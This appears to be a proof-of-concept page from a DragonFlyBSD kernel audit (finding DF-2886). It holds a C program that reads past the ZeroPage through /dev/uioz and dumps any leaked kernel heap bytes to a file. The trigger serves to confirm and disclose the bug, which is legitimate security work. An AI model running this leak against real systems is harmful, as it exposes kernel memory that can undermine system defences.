DragonFlyBSD Kernel Audit
DF-2886 / uioz_trigger.c
← back to finding ↓ download raw
/*
 * DF-2886 userland trigger: read /dev/uioz and inspect what landed in the
 * buffer.  Bytes [0,4096) must be the real ZeroPage zeros.  Anything
 * non-zero at offset >= 4096 is kernel heap read past the ZeroPage
 * allocation -> kernel memory information leak.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	size_t sz = 65536;
	char *buf;
	const char *out = (argc > 1) ? argv[1] : "leak_sample.txt";
	ssize_t n;
	size_t i, first_nonzero = (size_t)-1, nonzero_count = 0;
	int fd, zeros_ok = 1;
	FILE *f;

	buf = malloc(sz);
	if (buf == NULL) { perror("malloc"); return 1; }
	memset(buf, (int)0xAA, sz);

	fd = open("/dev/uioz", O_RDONLY);
	if (fd < 0) { perror("open /dev/uioz"); return 1; }
	n = read(fd, buf, sz);
	close(fd);
	if (n < 0) { perror("read"); return 1; }
	printf("read(/dev/uioz, %zu) returned %zd\n", sz, n);

	for (i = 0; i < 4096; i++)
		if (buf[i] != 0) { zeros_ok = 0; break; }
	for (i = 4096; i < sz; i++)
		if (buf[i] != 0) {
			nonzero_count++;
			if (first_nonzero == (size_t)-1)
				first_nonzero = i;
		}

	printf("bytes[0..4095] all zero : %s\n", zeros_ok ? "YES" : "NO");
	printf("first non-zero at       : %s\n",
	       first_nonzero == (size_t)-1 ? "(none)" : "");
	if (first_nonzero != (size_t)-1)
		printf("first non-zero at       : offset %zu (page +%zu past ZeroPage)\n",
		       first_nonzero, (first_nonzero - 4096) / 4096 + 1);
	printf("non-zero bytes >= 4096  : %zu / %zu\n", nonzero_count, sz - 4096);

	f = fopen(out, "w");
	if (f) {
		fprintf(f, "# DF-2886 leak sample: kernel heap read past ZeroPage\n");
		fprintf(f, "# layout: +0 = leaked byte at ZeroPage+4096, etc.\n");
		for (i = 4096; i + 8 <= sz; i += 8) {
			unsigned long long v;
			memcpy(&v, buf + i, 8);
			if (v != 0)
				fprintf(f, "+%06zu (pg%02zu): 0x%016llx\n",
					i - 4096, (i - 4096) / 4096, v);
		}
		fclose(f);
		printf("non-zero qwords written to %s\n", out);
	}

	if (!zeros_ok) {
		printf("RESULT: UNEXPECTED (ZeroPage itself not zero?)\n");
		return 3;
	}
	if (nonzero_count > 0) {
		printf("RESULT: LEAK CONFIRMED - kernel bytes past ZeroPage in user buffer\n");
		return 0;
	}
	printf("RESULT: no leak observed (adjacent pages zero/unmapped)\n");
	return 2;
}